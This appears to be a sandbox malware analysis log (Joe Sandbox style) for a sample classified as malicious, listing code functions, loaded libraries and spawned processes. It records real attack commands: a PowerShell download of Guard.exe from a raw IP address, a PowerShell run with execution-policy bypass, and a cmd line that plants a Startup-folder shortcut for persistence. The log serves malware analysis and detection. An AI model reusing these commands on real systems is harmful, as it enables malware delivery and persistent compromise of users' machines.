Source: C:\Users\Public\Guard.exeCode function: 7_2_00636A747_2_00636A74
Source: C:\Users\Public\Guard.exeCode function: 7_2_00680A3A7_2_00680A3A
Source: C:\Users\Public\Guard.exeCode function: 7_2_00610BE07_2_00610BE0
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062CD517_2_0062CD51
Source: C:\Users\Public\Guard.exeCode function: 7_2_0065EDB27_2_0065EDB2
Source: C:\Users\Public\Guard.exeCode function: 7_2_00668E447_2_00668E44
Source: C:\Users\Public\Guard.exeCode function: 7_2_00680EB77_2_00680EB7
Source: C:\Users\Public\Guard.exeCode function: 7_2_00636FE67_2_00636FE6
Source: C:\Users\Public\Guard.exeCode function: 7_2_006233B77_2_006233B7
Source: C:\Users\Public\Guard.exeCode function: 7_2_0061D45D7_2_0061D45D
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062F4097_2_0062F409
Source: C:\Users\Public\Guard.exeCode function: 7_2_006016637_2_00601663
Source: C:\Users\Public\Guard.exeCode function: 7_2_0061F6287_2_0061F628
Source: C:\Users\Public\Guard.exeCode function: 7_2_0060F6A07_2_0060F6A0
Source: C:\Users\Public\Guard.exeCode function: 7_2_006216B47_2_006216B4
Source: C:\Users\Public\Guard.exeCode function: 7_2_006278C37_2_006278C3
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062DBA57_2_0062DBA5
Source: C:\Users\Public\Guard.exeCode function: 7_2_00621BA87_2_00621BA8
Source: C:\Users\Public\Guard.exeCode function: 7_2_00639CE57_2_00639CE5
Source: C:\Users\Public\Guard.exeCode function: 7_2_0061DD287_2_0061DD28
Source: C:\Users\Public\Guard.exeCode function: 7_2_00621FC07_2_00621FC0
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062BFD67_2_0062BFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0009B02012_2_0009B020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000994E012_2_000994E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_00099C8012_2_00099C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B23F512_2_000B23F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0011840012_2_00118400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000C650212_2_000C6502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000C265E12_2_000C265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0009E6F012_2_0009E6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B282A12_2_000B282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000C89BF12_2_000C89BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_00110A3A12_2_00110A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000C6A7412_2_000C6A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000A0BE012_2_000A0BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000BCD5112_2_000BCD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000EEDB212_2_000EEDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F8E4412_2_000F8E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_00110EB712_2_00110EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000C6FE612_2_000C6FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B33B712_2_000B33B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000BF40912_2_000BF409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000AD45D12_2_000AD45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000AF62812_2_000AF628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0009166312_2_00091663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0009F6A012_2_0009F6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B16B412_2_000B16B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B78C312_2_000B78C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B1BA812_2_000B1BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000BDBA512_2_000BDBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000C9CE512_2_000C9CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000ADD2812_2_000ADD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B1FC012_2_000B1FC0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000BBFD612_2_000BBFD6
Source: Joe Sandbox ViewDropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: String function: 00007FF6A5398D58 appears 76 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 000B0D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 000A1A36 appears 34 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 000B8B30 appears 42 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00620D17 appears 70 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00611A36 appears 34 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00628B30 appears 42 times
Source: classification engineClassification label: mal100.expl.evad.winEXE@15/12@2/1
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F3778 GetLastError,FormatMessageW,1_2_00007FF6A53F3778
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53DCCE0 AdjustTokenPrivileges,CloseHandle,1_2_00007FF6A53DCCE0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53DD5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,1_2_00007FF6A53DD5CC
Source: C:\Users\Public\Guard.exeCode function: 7_2_00658DE9 AdjustTokenPrivileges,CloseHandle,7_2_00658DE9
Source: C:\Users\Public\Guard.exeCode function: 7_2_00659399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,7_2_00659399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000E8DE9 AdjustTokenPrivileges,CloseHandle,12_2_000E8DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000E9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,12_2_000E9399
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F58C4 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,1_2_00007FF6A53F58C4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A540EB34 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,1_2_00007FF6A540EB34
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A54066B4 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,1_2_00007FF6A54066B4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5376580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,1_2_00007FF6A5376580
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeFile created: C:\Users\Public\PublicProfile.ps1Jump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7960:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzsqqusl.csy.ps1Jump to behavior
Source: l5VhEpwzJy.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: l5VhEpwzJy.exeVirustotal: Detection: 36%
Source: l5VhEpwzJy.exeReversingLabs: Detection: 58%
Source: unknownProcess created: C:\Users\user\Desktop\l5VhEpwzJy.exe "C:\Users\user\Desktop\l5VhEpwzJy.exe"
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe""Jump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exitJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"Jump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: version.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: twext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cscui.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mswsock.dllJump to behavior
